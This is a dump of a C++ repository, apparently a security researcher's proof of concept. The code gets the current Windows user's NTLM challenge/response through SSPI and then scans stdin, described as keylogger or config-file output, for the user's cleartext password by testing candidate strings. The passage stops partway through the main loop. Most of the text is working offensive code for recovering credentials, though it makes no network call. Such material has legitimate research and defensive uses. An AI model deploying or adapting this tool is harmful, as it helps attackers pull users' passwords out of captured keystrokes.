├── .gitignore ├── DetectPasswordViaNTLMInFlow.cpp ├── DetectPasswordViaNTLMInFlow.sln ├── DetectPasswordViaNTLMInFlow.vcxproj ├── DetectPasswordViaNTLMInFlow.vcxproj.filters ├── README.md └── screenshot.png /.gitignore: -------------------------------------------------------------------------------- 1 | .svn 2 | *.tmf 3 | *.mof 4 | # sorry, I cannot provide a kernel mode signed driver for this ! 5 | # purchase one and build the driver 6 | *.x64 7 | *.x86 8 | 9 | ## Ignore Visual Studio temporary files, build results, and 10 | ## files generated by popular Visual Studio add-ons. 11 | ## 12 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 13 | 14 | # User-specific files 15 | *.suo 16 | *.user 17 | *.userosscache 18 | *.sln.docstates 19 | 20 | # User-specific files (MonoDevelop/Xamarin Studio) 21 | *.userprefs 22 | 23 | # Build results 24 | [Dd]ebug/ 25 | [Dd]ebugPublic/ 26 | [Rr]elease/ 27 | [Rr]eleases/ 28 | x64/ 29 | x86/ 30 | bld/ 31 | [Bb]in/ 32 | [Oo]bj/ 33 | [Ll]og/ 34 | 35 | # Visual Studio 2015 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # MSTest test Results 41 | [Tt]est[Rr]esult*/ 42 | [Bb]uild[Ll]og.* 43 | 44 | # NUNIT 45 | *.VisualState.xml 46 | TestResult.xml 47 | 48 | # Build Results of an ATL Project 49 | [Dd]ebugPS/ 50 | [Rr]eleasePS/ 51 | dlldata.c 52 | 53 | # .NET Core 54 | project.lock.json 55 | project.fragment.lock.json 56 | artifacts/ 57 | **/Properties/launchSettings.json 58 | 59 | *_i.c 60 | *_p.c 61 | *_i.h 62 | *.ilk 63 | *.meta 64 | *.obj 65 | *.pch 66 | *.pdb 67 | *.pgc 68 | *.pgd 69 | *.rsp 70 | *.sbr 71 | *.tlb 72 | *.tli 73 | *.tlh 74 | *.tmp 75 | *.tmp_proj 76 | *.log 77 | *.vspscc 78 | *.vssscc 79 | .builds 80 | *.pidb 81 | *.svclog 82 | *.scc 83 | 84 | # Chutzpah Test files 85 | _Chutzpah* 86 | 87 | # Visual C++ cache files 88 | ipch/ 89 | *.aps 90 | *.ncb 91 | *.opendb 92 | *.opensdf 93 | *.sdf 94 | *.cachefile 95 | *.VC.db 96 | *.VC.VC.opendb 97 | 98 | # Visual Studio profiler 99 | *.psess 100 | *.vsp 101 | *.vspx 102 | *.sap 103 | 104 | # TFS 2012 Local Workspace 105 | $tf/ 106 | 107 | # Guidance Automation Toolkit 108 | *.gpState 109 | 110 | # ReSharper is a .NET coding add-in 111 | _ReSharper*/ 112 | *.[Rr]e[Ss]harper 113 | *.DotSettings.user 114 | 115 | # JustCode is a .NET coding add-in 116 | .JustCode 117 | 118 | # TeamCity is a build add-in 119 | _TeamCity* 120 | 121 | # DotCover is a Code Coverage Tool 122 | *.dotCover 123 | 124 | # Visual Studio code coverage results 125 | *.coverage 126 | *.coveragexml 127 | 128 | # NCrunch 129 | _NCrunch_* 130 | .*crunch*.local.xml 131 | nCrunchTemp_* 132 | 133 | # MightyMoose 134 | *.mm.* 135 | AutoTest.Net/ 136 | 137 | # Web workbench (sass) 138 | .sass-cache/ 139 | 140 | # Installshield output folder 141 | [Ee]xpress/ 142 | 143 | # DocProject is a documentation generator add-in 144 | DocProject/buildhelp/ 145 | DocProject/Help/*.HxT 146 | DocProject/Help/*.HxC 147 | DocProject/Help/*.hhc 148 | DocProject/Help/*.hhk 149 | DocProject/Help/*.hhp 150 | DocProject/Help/Html2 151 | DocProject/Help/html 152 | 153 | # Click-Once directory 154 | publish/ 155 | 156 | # Publish Web Output 157 | *.[Pp]ublish.xml 158 | *.azurePubxml 159 | # TODO: Comment the next line if you want to checkin your web deploy settings 160 | # but database connection strings (with potential passwords) will be unencrypted 161 | *.pubxml 162 | *.publishproj 163 | 164 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 165 | # checkin your Azure Web App publish settings, but sensitive information contained 166 | # in these scripts will be unencrypted 167 | PublishScripts/ 168 | 169 | # NuGet Packages 170 | *.nupkg 171 | # The packages folder can be ignored because of Package Restore 172 | **/packages/* 173 | # except build/, which is used as an MSBuild target. 174 | !**/packages/build/ 175 | # Uncomment if necessary however generally it will be regenerated when needed 176 | #!**/packages/repositories.config 177 | # NuGet v3's project.json files produces more ignorable files 178 | *.nuget.props 179 | *.nuget.targets 180 | 181 | # Microsoft Azure Build Output 182 | csx/ 183 | *.build.csdef 184 | 185 | # Microsoft Azure Emulator 186 | ecf/ 187 | rcf/ 188 | 189 | # Windows Store app package directories and files 190 | AppPackages/ 191 | BundleArtifacts/ 192 | Package.StoreAssociation.xml 193 | _pkginfo.txt 194 | 195 | # Visual Studio cache files 196 | # files ending in .cache can be ignored 197 | *.[Cc]ache 198 | # but keep track of directories ending in .cache 199 | !*.[Cc]ache/ 200 | 201 | # Others 202 | ClientBin/ 203 | ~$* 204 | *~ 205 | *.dbmdl 206 | *.dbproj.schemaview 207 | *.jfm 208 | *.pfx 209 | *.publishsettings 210 | orleans.codegen.cs 211 | 212 | # Since there are multiple workflows, uncomment next line to ignore bower_components 213 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 214 | #bower_components/ 215 | 216 | # RIA/Silverlight projects 217 | Generated_Code/ 218 | 219 | # Backup & report files from converting an old project file 220 | # to a newer Visual Studio version. Backup files are not needed, 221 | # because we have git ;-) 222 | _UpgradeReport_Files/ 223 | Backup*/ 224 | UpgradeLog*.XML 225 | UpgradeLog*.htm 226 | 227 | # SQL Server files 228 | *.mdf 229 | *.ldf 230 | 231 | # Business Intelligence projects 232 | *.rdl.data 233 | *.bim.layout 234 | *.bim_*.settings 235 | 236 | # Microsoft Fakes 237 | FakesAssemblies/ 238 | 239 | # GhostDoc plugin setting file 240 | *.GhostDoc.xml 241 | 242 | # Node.js Tools for Visual Studio 243 | .ntvs_analysis.dat 244 | node_modules/ 245 | 246 | # Typescript v1 declaration files 247 | typings/ 248 | 249 | # Visual Studio 6 build log 250 | *.plg 251 | 252 | # Visual Studio 6 workspace options file 253 | *.opt 254 | 255 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 256 | *.vbw 257 | 258 | # Visual Studio LightSwitch build output 259 | **/*.HTMLClient/GeneratedArtifacts 260 | **/*.DesktopClient/GeneratedArtifacts 261 | **/*.DesktopClient/ModelManifest.xml 262 | **/*.Server/GeneratedArtifacts 263 | **/*.Server/ModelManifest.xml 264 | _Pvt_Extensions 265 | 266 | # Paket dependency manager 267 | .paket/paket.exe 268 | paket-files/ 269 | 270 | # FAKE - F# Make 271 | .fake/ 272 | 273 | # JetBrains Rider 274 | .idea/ 275 | *.sln.iml 276 | 277 | # CodeRush 278 | .cr/ 279 | 280 | # Python Tools for Visual Studio (PTVS) 281 | __pycache__/ 282 | *.pyc 283 | 284 | # Cake - Uncomment if you are using it 285 | # tools/** 286 | # !tools/packages.config 287 | *.dll 288 | -------------------------------------------------------------------------------- /DetectPasswordViaNTLMInFlow.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include 5 | #define SECURITY_WIN32 6 | #include 7 | #include 8 | 9 | #pragma comment(lib,"Secur32") 10 | 11 | #define NTLMSSP_SIGNATURE "NTLMSSP" 12 | #define MSV1_0_CHALLENGE_LENGTH 8 13 | 14 | // important for memory alignement !!!!!!!!!!!!!!! 15 | // we align the data to be the exact representation of the struct. 16 | // however, if the alignment is not back to default, 17 | // you will have a surprise when using struct to systemcall 18 | // ex: using UNICODE_STRING 19 | // the pack is retablished before the end of this file 20 | #pragma pack(push,1) 21 | 22 | 23 | typedef enum { 24 | NtLmNegotiate = 1, 25 | NtLmChallenge, 26 | NtLmAuthenticate, 27 | NtLmUnknown 28 | } NTLM_MESSAGE_TYPE; 29 | 30 | typedef struct _STRING32 { 31 | USHORT Length; 32 | USHORT MaximumLength; 33 | DWORD Offset; 34 | } STRING32, *PSTRING32; 35 | 36 | // 37 | // Valid values of NegotiateFlags 38 | // 39 | 40 | #define NTLMSSP_NEGOTIATE_UNICODE 0x00000001 // Text strings are in unicode 41 | #define NTLMSSP_NEGOTIATE_OEM 0x00000002 // Text strings are in OEM 42 | #define NTLMSSP_REQUEST_TARGET 0x00000004 // Server should return its authentication realm 43 | 44 | #define NTLMSSP_NEGOTIATE_SIGN 0x00000010 // Request signature capability 45 | #define NTLMSSP_NEGOTIATE_SEAL 0x00000020 // Request confidentiality 46 | #define NTLMSSP_NEGOTIATE_DATAGRAM 0x00000040 // Use datagram style authentication 47 | #define NTLMSSP_NEGOTIATE_LM_KEY 0x00000080 // Use LM session key for sign/seal 48 | 49 | #define NTLMSSP_NEGOTIATE_NETWARE 0x00000100 // NetWare authentication 50 | #define NTLMSSP_NEGOTIATE_NTLM 0x00000200 // NTLM authentication 51 | #define NTLMSSP_NEGOTIATE_NT_ONLY 0x00000400 // NT authentication only (no LM) 52 | #define NTLMSSP_NEGOTIATE_NULL_SESSION 0x00000800 // NULL Sessions on NT 5.0 and beyand 53 | 54 | #define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED 0x1000 // Domain Name supplied on negotiate 55 | #define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED 0x2000 // Workstation Name supplied on negotiate 56 | #define NTLMSSP_NEGOTIATE_LOCAL_CALL 0x00004000 // Indicates client/server are same machine 57 | #define NTLMSSP_NEGOTIATE_ALWAYS_SIGN 0x00008000 // Sign for all security levels 58 | 59 | // 60 | // Valid target types returned by the server in Negotiate Flags 61 | // 62 | 63 | #define NTLMSSP_TARGET_TYPE_DOMAIN 0x00010000 // TargetName is a domain name 64 | #define NTLMSSP_TARGET_TYPE_SERVER 0x00020000 // TargetName is a server name 65 | #define NTLMSSP_TARGET_TYPE_SHARE 0x00040000 // TargetName is a share name 66 | #define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000 // NTLM2 authentication added for NT4-SP4 67 | 68 | #define NTLMSSP_NEGOTIATE_IDENTIFY 0x00100000 // Create identify level token 69 | 70 | // 71 | // Valid requests for additional output buffers 72 | // 73 | 74 | #define NTLMSSP_REQUEST_ACCEPT_RESPONSE 0x00200000 // get back session key, LUID 75 | #define NTLMSSP_REQUEST_NON_NT_SESSION_KEY 0x00400000 // request non-nt session key 76 | #define NTLMSSP_NEGOTIATE_TARGET_INFO 0x00800000 // target info present in challenge message 77 | 78 | #define NTLMSSP_NEGOTIATE_EXPORTED_CONTEXT 0x01000000 // It's an exported context 79 | #define NTLMSSP_NEGOTIATE_VERSION 0x02000000 // add the version field 80 | 81 | #define NTLMSSP_NEGOTIATE_128 0x20000000 // negotiate 128 bit encryption 82 | #define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000 // exchange a key using key exchange key 83 | #define NTLMSSP_NEGOTIATE_56 0x80000000 // negotiate 56 bit encryption 84 | 85 | // flags used in client space to control sign and seal; never appear on the wire 86 | #define NTLMSSP_APP_SEQ 0x0040 // Use application provided seq num 87 | 88 | #define MsvAvEOL 0x0000 89 | #define MsvAvNbComputerName 0x0001 90 | #define MsvAvNbDomainName 0x0002 91 | #define MsvAvNbDnsComputerName 0x0003 92 | #define MsvAvNbDnsDomainName 0x0004 93 | #define MsvAvNbDnsTreeName 0x0005 94 | #define MsvAvFlags 0x0006 95 | #define MsvAvTimestamp 0x0007 96 | #define MsvAvRestrictions 0x0008 97 | #define MsvAvTargetName 0x0009 98 | #define MsvAvChannelBindings 0x000A 99 | 100 | 101 | 102 | typedef struct _NTLM_VERSION 103 | { 104 | BYTE ProductMajorVersion; 105 | BYTE ProductMinorVersion; 106 | USHORT ProductBuild; 107 | BYTE reserved[3]; 108 | BYTE NTLMRevisionCurrent; 109 | } NTLM_VERSION, *PNTLM_VERSION; 110 | 111 | typedef struct _LMv1_RESPONSE 112 | { 113 | BYTE Response[24]; 114 | } LMv1_RESPONSE, *PLMv1_RESPONSE; 115 | 116 | typedef struct _LMv2_RESPONSE 117 | { 118 | BYTE Response[16]; 119 | BYTE ChallengeFromClient[8]; 120 | } LMv2_RESPONSE, *PLMv2_RESPONSE; 121 | 122 | typedef struct _NTLMv1_RESPONSE 123 | { 124 | BYTE Response[24]; 125 | } NTLMv1_RESPONSE, *PNTLMv1_RESPONSE; 126 | 127 | typedef struct _NTLMv2_CLIENT_CHALLENGE 128 | { 129 | BYTE RespType; 130 | BYTE HiRespType; 131 | USHORT Reserved1; 132 | DWORD Reserved2; 133 | ULONGLONG TimeStamp; 134 | BYTE ChallengeFromClient[8]; 135 | DWORD Reserved3; 136 | BYTE AvPair[4]; 137 | } NTLMv2_CLIENT_CHALLENGE, *PNTLMv2_CLIENT_CHALLENGE; 138 | 139 | typedef struct _NTLMv2_RESPONSE 140 | { 141 | BYTE Response[16]; 142 | NTLMv2_CLIENT_CHALLENGE Challenge; 143 | } NTLMv2_RESPONSE, *PNTLMv2_RESPONSE; 144 | 145 | typedef struct _NTLM_MESSAGE { 146 | UCHAR Signature[sizeof(NTLMSSP_SIGNATURE)]; 147 | DWORD MessageType; 148 | } NTLM_MESSAGE, *PNTLM_MESSAGE; 149 | 150 | // 151 | // Opaque message returned from first call to InitializeSecurityContext 152 | // 153 | 154 | typedef struct _NEGOTIATE_MESSAGE { 155 | UCHAR Signature[8]; 156 | DWORD MessageType; 157 | DWORD NegotiateFlags; 158 | STRING32 OemDomainName; 159 | STRING32 OemWorkstationName; 160 | } NEGOTIATE_MESSAGE, *PNEGOTIATE_MESSAGE; 161 | 162 | typedef struct _NEGOTIATE_MESSAGE_WITH_VERSION { 163 | UCHAR Signature[8]; 164 | DWORD MessageType; 165 | DWORD NegotiateFlags; 166 | STRING32 OemDomainName; 167 | STRING32 OemWorkstationName; 168 | NTLM_VERSION Version; 169 | } NEGOTIATE_MESSAGE_WITH_VERSION, *PNEGOTIATE_MESSAGE_WITH_VERSION; 170 | 171 | // 172 | // Opaque message returned from second call to InitializeSecurityContext 173 | // 174 | typedef struct _CHALLENGE_MESSAGE { 175 | UCHAR Signature[8]; 176 | DWORD MessageType; 177 | STRING32 TargetName; 178 | DWORD NegotiateFlags; 179 | UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH]; 180 | ULONG64 ServerContextHandle; 181 | STRING32 TargetInfo; 182 | } CHALLENGE_MESSAGE, *PCHALLENGE_MESSAGE; 183 | 184 | 185 | typedef struct _CHALLENGE_MESSAGE_WITH_VERSION { 186 | UCHAR Signature[8]; 187 | DWORD MessageType; 188 | STRING32 TargetName; 189 | DWORD NegotiateFlags; 190 | UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH]; 191 | ULONG64 ServerContextHandle; 192 | STRING32 TargetInfo; 193 | NTLM_VERSION Version; 194 | } CHALLENGE_MESSAGE_WITH_VERSION, *PCHALLENGE_MESSAGE_WITH_VERSION; 195 | // 196 | // Non-opaque message returned from second call to AcceptSecurityContext 197 | // 198 | typedef struct _AUTHENTICATE_MESSAGE { 199 | UCHAR Signature[8]; 200 | DWORD MessageType; 201 | STRING32 LmChallengeResponse; 202 | STRING32 NtChallengeResponse; 203 | STRING32 DomainName; 204 | STRING32 UserName; 205 | STRING32 Workstation; 206 | STRING32 SessionKey; 207 | DWORD NegotiateFlags; 208 | } AUTHENTICATE_MESSAGE, *PAUTHENTICATE_MESSAGE; 209 | 210 | // page 29 for oid msavrestrictions 211 | typedef struct _RESTRICTIONS_ENCODING { 212 | DWORD dwSize; 213 | DWORD dwReserved; 214 | DWORD dwIntegrityLevel; 215 | DWORD dwSubjectIntegrityLevel; 216 | BYTE MachineId[32]; 217 | } RESTRICTIONS_ENCODING, *PRESTRICTIONS_ENCODING; 218 | 219 | #pragma pack(pop) 220 | 221 | // MD4 encryption of the password 222 | typedef _Return_type_success_(return >= 0) LONG NTSTATUS; 223 | typedef struct _UNICODE_STRING { 224 | USHORT Length; 225 | USHORT MaximumLength; 226 | PWSTR Buffer; 227 | } UNICODE_STRING, *PUNICODE_STRING; 228 | 229 | 230 | extern "C" 231 | { 232 | // in advapi32.dll - no need to getprocaddress 233 | NTSTATUS WINAPI SystemFunction007 (PUNICODE_STRING string, LPBYTE hash); 234 | } 235 | 236 | typedef struct _KEY_BLOB { 237 | BYTE bType; 238 | BYTE bVersion; 239 | WORD reserved; 240 | ALG_ID aiKeyAlg; 241 | ULONG keysize; 242 | BYTE Data[16]; 243 | } KEY_BLOB; 244 | 245 | 246 | //global var 247 | DWORD minPasswordLen = 1; 248 | DWORD maxPasswordLen = 10; 249 | WCHAR szDomainName[256+1] = L""; 250 | WCHAR szUserName[256+1] = L""; 251 | UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH]; 252 | PNTLMv2_RESPONSE response = NULL; 253 | PNTLMv2_CLIENT_CHALLENGE ClientChallenge = NULL; 254 | DWORD dwClientChallengeSize = 0; 255 | 256 | 257 | BOOL HMAC_MD5(PBYTE pbKey, PBYTE pbData, DWORD dwDataSize, BYTE hash[16]) 258 | { 259 | BOOL fReturn = FALSE; 260 | DWORD dwError = 0; 261 | HCRYPTPROV hProv = NULL; 262 | HCRYPTHASH hHash = NULL; 263 | HCRYPTKEY hKey = NULL; 264 | HMAC_INFO HmacInfo; 265 | ZeroMemory(&HmacInfo, sizeof(HmacInfo)); 266 | HmacInfo.HashAlgid = CALG_MD5; 267 | KEY_BLOB Blob; 268 | 269 | if (!CryptAcquireContext( 270 | &hProv, // handle of the CSP 271 | NULL, // key container name 272 | NULL, // CSP name 273 | PROV_RSA_FULL, // provider type 274 | CRYPT_VERIFYCONTEXT)) // no key access is requested 275 | { 276 | dwError = GetLastError(); 277 | goto HMACMD5ErrorExit; 278 | } 279 | ZeroMemory(&Blob, sizeof(Blob)); 280 | memcpy(Blob.Data,pbKey,16); 281 | Blob.bType = PLAINTEXTKEYBLOB; 282 | Blob.bVersion = CUR_BLOB_VERSION; 283 | Blob.reserved = 0; 284 | Blob.aiKeyAlg = CALG_RC4; 285 | Blob.keysize = 16; 286 | if (!CryptImportKey(hProv, (PBYTE)&Blob, sizeof(Blob),NULL,0,&hKey)) 287 | { 288 | dwError = GetLastError(); 289 | goto HMACMD5ErrorExit; 290 | } 291 | if (!CryptCreateHash(hProv, CALG_HMAC, hKey, 0, &hHash)) 292 | { 293 | dwError = GetLastError(); 294 | goto HMACMD5ErrorExit; 295 | } 296 | if (!CryptSetHashParam(hHash, HP_HMAC_INFO, (BYTE*)&HmacInfo, 0)) 297 | { 298 | dwError = GetLastError(); 299 | goto HMACMD5ErrorExit; 300 | } 301 | if (!CryptHashData(hHash, pbData, dwDataSize, 0)) 302 | { 303 | dwError = GetLastError(); 304 | goto HMACMD5ErrorExit; 305 | } 306 | DWORD dwHashLen = 16; 307 | if (!CryptGetHashParam(hHash, HP_HASHVAL, hash, &dwHashLen, 0)) 308 | { 309 | dwError = GetLastError(); 310 | goto HMACMD5ErrorExit; 311 | } 312 | fReturn = TRUE; 313 | 314 | HMACMD5ErrorExit: 315 | if (hKey) 316 | CryptDestroyKey(hKey); 317 | if(hHash) 318 | CryptDestroyHash(hHash); 319 | if(hProv) 320 | CryptReleaseContext(hProv, 0); 321 | SetLastError(dwError); 322 | return fReturn; 323 | } 324 | 325 | BOOL ComputeNTOWFv2(PWSTR szDomain,PWSTR szUser,PWSTR szPassword, BYTE output[16]) 326 | { 327 | // defined page 60 of MS-NLMP 328 | memset(output,0,16); 329 | WCHAR szDataToHash[256 *2+1] = TEXT(""); 330 | // checks 331 | if (szUser && wcslen(szUser)> 256 ) 332 | { 333 | SetLastError(ERROR_INVALID_PARAMETER); 334 | return FALSE; 335 | } 336 | if (szDomain && wcslen(szDomain)> 256 ) 337 | { 338 | SetLastError(ERROR_INVALID_PARAMETER); 339 | return FALSE; 340 | } 341 | if (!szPassword) 342 | { 343 | SetLastError(ERROR_INVALID_PARAMETER); 344 | return FALSE; 345 | } 346 | // first step : MD4 of the UNICODE password 347 | BYTE bHash[16]; 348 | UNICODE_STRING UnicodePassword; 349 | UnicodePassword.Length = (USHORT) wcslen(szPassword) * sizeof(WCHAR); 350 | UnicodePassword.MaximumLength = (USHORT) wcslen(szPassword) * sizeof(WCHAR); 351 | UnicodePassword.Buffer = szPassword; 352 | DWORD Status = SystemFunction007(&UnicodePassword, bHash); 353 | if (Status != 0) 354 | { 355 | SetLastError(Status); 356 | return FALSE; 357 | } 358 | // second step : HMAC_MD5 359 | // concat user in uppercase then domain 360 | if (szUser) 361 | { 362 | wcscpy_s(szDataToHash, ARRAYSIZE(szDataToHash),szUser); 363 | _wcsupr_s(szDataToHash, ARRAYSIZE(szDataToHash)); 364 | } 365 | if (szDomain) 366 | { 367 | wcscat_s(szDataToHash, ARRAYSIZE(szDataToHash),szDomain); 368 | } 369 | return HMAC_MD5(bHash,(PBYTE)szDataToHash,(DWORD)(wcslen(szDataToHash)*sizeof(WCHAR)),output); 370 | } 371 | 372 | BOOL ComputeNTLMv2Response(BYTE ServerChallenge[8],PNTLMv2_CLIENT_CHALLENGE ClientChallenge,DWORD dwClientChallengeSize,BYTE NTOWFv2[16], BYTE Response[16]) 373 | { 374 | DWORD dwError = 0; 375 | if (dwClientChallengeSize > 1000) 376 | { 377 | return FALSE; 378 | } 379 | BYTE pbGlobalChallenge[1000+8]; 380 | memcpy(pbGlobalChallenge, ServerChallenge,8); 381 | memcpy(pbGlobalChallenge+8, ClientChallenge,dwClientChallengeSize); 382 | if (!HMAC_MD5(NTOWFv2,pbGlobalChallenge,dwClientChallengeSize+8,Response)) 383 | { 384 | return FALSE; 385 | } 386 | SetLastError(0); 387 | return TRUE; 388 | } 389 | 390 | 391 | BOOL ComputeNTLMv2ResponseFromPassword(WCHAR szDomainName[15+1], WCHAR szUserName[256+1], WCHAR szPassword[256+1], BYTE ServerChallenge[8],PNTLMv2_CLIENT_CHALLENGE ClientChallenge,DWORD dwClientChallengeSize,BYTE Response[16]) 392 | { 393 | BYTE NTOWFv2[16]; 394 | if (!ComputeNTOWFv2(szDomainName,szUserName,szPassword,NTOWFv2)) 395 | { 396 | SetLastError(ERROR_INVALID_PASSWORD); 397 | return FALSE; 398 | } 399 | ZeroMemory(Response,16); 400 | if (!ComputeNTLMv2Response(ServerChallenge, ClientChallenge, dwClientChallengeSize, NTOWFv2, Response)) 401 | { 402 | SetLastError(ERROR_INVALID_PASSWORD); 403 | return FALSE; 404 | } 405 | return TRUE; 406 | } 407 | 408 | 409 | BOOL GetNTLMChallengeAndResponse() 410 | { 411 | CredHandle hCred; 412 | CredHandle hCredServer; 413 | TimeStamp Lifetime; 414 | TimeStamp LifetimeServer; 415 | DWORD ss = AcquireCredentialsHandle ( 416 | NULL, 417 | NTLMSP_NAME, 418 | SECPKG_CRED_OUTBOUND, 419 | NULL, 420 | NULL, 421 | NULL, 422 | NULL, 423 | &hCredServer, 424 | &LifetimeServer); 425 | 426 | if (ss != 0) 427 | return FALSE; 428 | 429 | ss = AcquireCredentialsHandle ( 430 | NULL, 431 | NTLMSP_NAME, 432 | SECPKG_CRED_INBOUND, 433 | NULL, 434 | NULL, 435 | NULL, 436 | NULL, 437 | &hCred, 438 | &Lifetime); 439 | 440 | if (ss != 0) 441 | return FALSE; 442 | 443 | SecBufferDesc NegotiateBuffDesc; 444 | SecBuffer NegotiateSecBuff; 445 | NegotiateBuffDesc.ulVersion = 0; 446 | NegotiateBuffDesc.cBuffers = 1; 447 | NegotiateBuffDesc.pBuffers = &NegotiateSecBuff; 448 | 449 | NegotiateSecBuff.cbBuffer = 0; 450 | NegotiateSecBuff.BufferType = SECBUFFER_TOKEN; 451 | NegotiateSecBuff.pvBuffer = NULL; 452 | 453 | SecBufferDesc ChallengeBuffDesc; 454 | SecBuffer ChallengeSecBuff; 455 | ChallengeBuffDesc.ulVersion = 0; 456 | ChallengeBuffDesc.cBuffers = 1; 457 | ChallengeBuffDesc.pBuffers = &ChallengeSecBuff; 458 | 459 | ChallengeSecBuff.cbBuffer = 0; 460 | ChallengeSecBuff.BufferType = SECBUFFER_TOKEN; 461 | ChallengeSecBuff.pvBuffer = NULL; 462 | 463 | SecBufferDesc AuthenticateBuffDesc; 464 | SecBuffer AuthenticateSecBuff; 465 | AuthenticateBuffDesc.ulVersion = 0; 466 | AuthenticateBuffDesc.cBuffers = 1; 467 | AuthenticateBuffDesc.pBuffers = &AuthenticateSecBuff; 468 | 469 | AuthenticateSecBuff.cbBuffer = 0; 470 | AuthenticateSecBuff.BufferType = SECBUFFER_TOKEN; 471 | AuthenticateSecBuff.pvBuffer = NULL; 472 | 473 | 474 | 475 | CtxtHandle ServerContextHandle = {0}; 476 | ULONG ServerContextAttributes = 0; 477 | CtxtHandle ClientContextHandle = {0}; 478 | ULONG ContextAttributes = 0; 479 | 480 | ss = InitializeSecurityContext( 481 | &hCredServer, 482 | NULL, // No Client context yet 483 | NULL, // Faked target name 484 | ISC_REQ_ALLOCATE_MEMORY| ISC_REQ_DELEGATE, 485 | 0, // Reserved 1 486 | SECURITY_NATIVE_DREP, 487 | NULL, // No initial input token 488 | 0, // Reserved 2 489 | &ServerContextHandle, 490 | &NegotiateBuffDesc, 491 | &ServerContextAttributes, 492 | &LifetimeServer ); 493 | if (ss != 0x00090312) 494 | return FALSE; 495 | 496 | NEGOTIATE_MESSAGE* negotiate = (NEGOTIATE_MESSAGE* ) NegotiateBuffDesc.pBuffers[0].pvBuffer; 497 | //TraceNegotiateMessage((PBYTE) NegotiateBuffDesc.pBuffers[0].pvBuffer, NegotiateBuffDesc.pBuffers[0].cbBuffer); 498 | 499 | ss = AcceptSecurityContext( 500 | &hCred, 501 | NULL, // No Server context yet 502 | &NegotiateBuffDesc, 503 | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 504 | SECURITY_NATIVE_DREP, 505 | &ClientContextHandle, 506 | &ChallengeBuffDesc, 507 | &ContextAttributes, 508 | &Lifetime ); 509 | 510 | if (ss != 0x00090312) 511 | return FALSE; 512 | // client 513 | CHALLENGE_MESSAGE* challenge = (CHALLENGE_MESSAGE* ) ChallengeBuffDesc.pBuffers[0].pvBuffer; 514 | //TraceChallengeMessage((PBYTE) ChallengeBuffDesc.pBuffers[0].pvBuffer, ChallengeBuffDesc.pBuffers[0].cbBuffer); 515 | 516 | // when local call, windows remove the ntlm response 517 | challenge->NegotiateFlags &= ~NTLMSSP_NEGOTIATE_LOCAL_CALL; 518 | 519 | ss = InitializeSecurityContext( 520 | &hCredServer, 521 | &ServerContextHandle, // No Client context yet 522 | NULL, // Faked target name 523 | ISC_REQ_ALLOCATE_MEMORY| ISC_REQ_DELEGATE, 524 | 0, // Reserved 1 525 | SECURITY_NATIVE_DREP, 526 | &ChallengeBuffDesc, 527 | 0, // Reserved 2 528 | &ServerContextHandle, 529 | &AuthenticateBuffDesc, 530 | &ServerContextAttributes, 531 | &LifetimeServer ); 532 | 533 | if (ss != 0) 534 | return FALSE; 535 | 536 | AUTHENTICATE_MESSAGE* authenticate = (AUTHENTICATE_MESSAGE* ) AuthenticateBuffDesc.pBuffers[0].pvBuffer; 537 | //TraceAuthenticateMessage((PBYTE) AuthenticateBuffDesc.pBuffers[0].pvBuffer, AuthenticateBuffDesc.pBuffers[0].cbBuffer); 538 | 539 | 540 | memcpy(szDomainName, ((PBYTE) authenticate + authenticate->DomainName.Offset), authenticate->DomainName.Length); 541 | szDomainName[ authenticate->DomainName.Length/2] = 0; 542 | 543 | memcpy(szUserName, ((PBYTE) authenticate + authenticate->UserName.Offset), authenticate->UserName.Length); 544 | szUserName[ authenticate->UserName.Length/2] = 0; 545 | 546 | memcpy(Challenge, challenge->Challenge,MSV1_0_CHALLENGE_LENGTH); 547 | response = (PNTLMv2_RESPONSE)((ULONG_PTR) authenticate + authenticate->NtChallengeResponse.Offset); 548 | 549 | ClientChallenge = &(response->Challenge); 550 | dwClientChallengeSize = authenticate->NtChallengeResponse.Length-16; 551 | return TRUE; 552 | } 553 | 554 | // assume max 20 char in password (< 20 is config, >20 is recompile) 555 | #define MAX_CONFIGURABLE_PASSWORD_LEN 20 556 | 557 | int _tmain(int argc, _TCHAR* argv[]) 558 | { 559 | // password len expected between 6 and 10 560 | // this is a CPU optimization 561 | minPasswordLen = 6; 562 | maxPasswordLen = 16; 563 | printf("Using min password length = %d and max password length = %d\r\n",minPasswordLen, maxPasswordLen); 564 | if (!GetNTLMChallengeAndResponse()) 565 | { 566 | printf("Unable to Get NTLM Challenge And Response\r\n"); 567 | } 568 | printf("Extract the password of the current user from flow (keylogger, config file, ..)\r\n"); 569 | printf("Use SSPI to get a valid NTLM challenge/response and test passwords\r\n"); 570 | printf("vincent.letoux@mysmartlogon.com\r\n"); 571 | printf("\r\n"); 572 | printf("[+] got NTLM challenge/response\r\n"); 573 | 574 | DWORD passwordInBuffer = 0; 575 | WCHAR passwords[MAX_CONFIGURABLE_PASSWORD_LEN][MAX_CONFIGURABLE_PASSWORD_LEN] = {0}; 576 | 577 | printf("[+] Reading stdin for password match\r\n"); 578 | BOOL fContinue = TRUE; 579 | HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE); 580 | 581 | while(fContinue) 582 | { 583 | CHAR c = 0; 584 | DWORD dwRead = 0; 585 | if (!ReadFile( hStdIn, &c, 1, &dwRead, NULL)) 586 | break; 587 | if (c == '\r' || c == '\n') 588 | { 589 | passwordInBuffer = 0; 590 | continue; 591 | } 592 | for (DWORD dwI = minPasswordLen; dwI < maxPasswordLen; dwI++) 593 | { 594 | // stack 595 | if (passwordInBuffer < dwI) 596 | { 597 | passwords[dwI][passwordInBuffer] = c; 598 | if (passwordInBuffer + 1 < dwI) 599 | { 600 | // buffer not full - do not test 